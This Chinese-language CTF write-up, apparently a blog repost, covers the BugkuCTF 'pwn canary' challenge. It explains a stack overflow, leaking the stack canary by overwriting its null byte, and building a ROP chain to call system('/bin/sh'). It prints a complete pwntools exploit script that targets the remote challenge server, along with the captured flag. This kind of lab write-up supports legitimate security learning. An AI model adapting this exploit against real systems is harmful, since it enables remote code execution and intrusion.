本文主要是介绍BugkuCTF pwn canary,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
**
0、下载附件使用checksec检查保护情况
**
开启了NX保护和Canary保护
**
1、nc 114.67.246.176 19138远程连接,查看题目
**
**
2、使用IDA 64 Pro打开文件反编译
**
查看main函数,两个read()函数都可以读取0x300个字节的数据,而buf和v5到栈底指针rbp的距离只有0x240和0x210字节,因此这里存在栈溢出漏洞
靠近栈底处的var_8应该就是canary
查看main函数的汇编指令
结合题意可知,覆盖canary末尾的/x00,就可以根据第一次的回显获取随机生成的canary的值。
第二次利用泄露的canary的值绕过canary保护检查,从而实现栈溢出,之后构造rop链获取权限即可。
**
3、构造rop链
**
(1)64位程序通过rdi寄存器传递第一个参数,所以先使用ROPgadget寻找pop rdi ;ret指令所在的地址
得到pop rdi ;ret的地址0x400963
(2)在IDA中,Shift + F12 查找字符串
得到/bin/sh的地址0x601068
得到system函数的地址0x400660
**
4、构造exp
**
先计算一下偏移量,第一次输入应该从0x240覆盖到0x8
第一次输入应该是’a’ * (0x240 - 0x8)
第二次输入首先有’a’ * (0x210 - 0x8),然后是第一次得到的canary,再传入’a’ * 8到到达栈底,然后返回rdi的地址,再用bin/sh的地址覆盖,最后使用system函数执行system(bin/sh)
最终exp:
from pwn import *context.log_level = "debug"
r = remote("114.67.246.176", 19138)rdi = 0x400963
bin_sh = 0x601068
system = 0x400660payload1 = b'a' * (0x240 - 0x8)
r.sendlineafter("Please leave your name(Within 36 Length):", payload1)
r.recvline()canary = r.recv(7).rjust(8, b'\x00')
print(canary)payload2 = b'a' * (0x210 - 0x8) + canary + b'a' * 8 + p64(rdi) + p64(bin_sh) + p64(system)
r.sendlineafter("Please leave a message(Within 0x200 Length):", payload2)
r.interactive()
**
5、 ls查询目录 ——> cat flag得到flag
**
**
6、得到flag:
**flag{e270d0006de4411s6d5a73bcd}
这篇关于BugkuCTF pwn canary的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!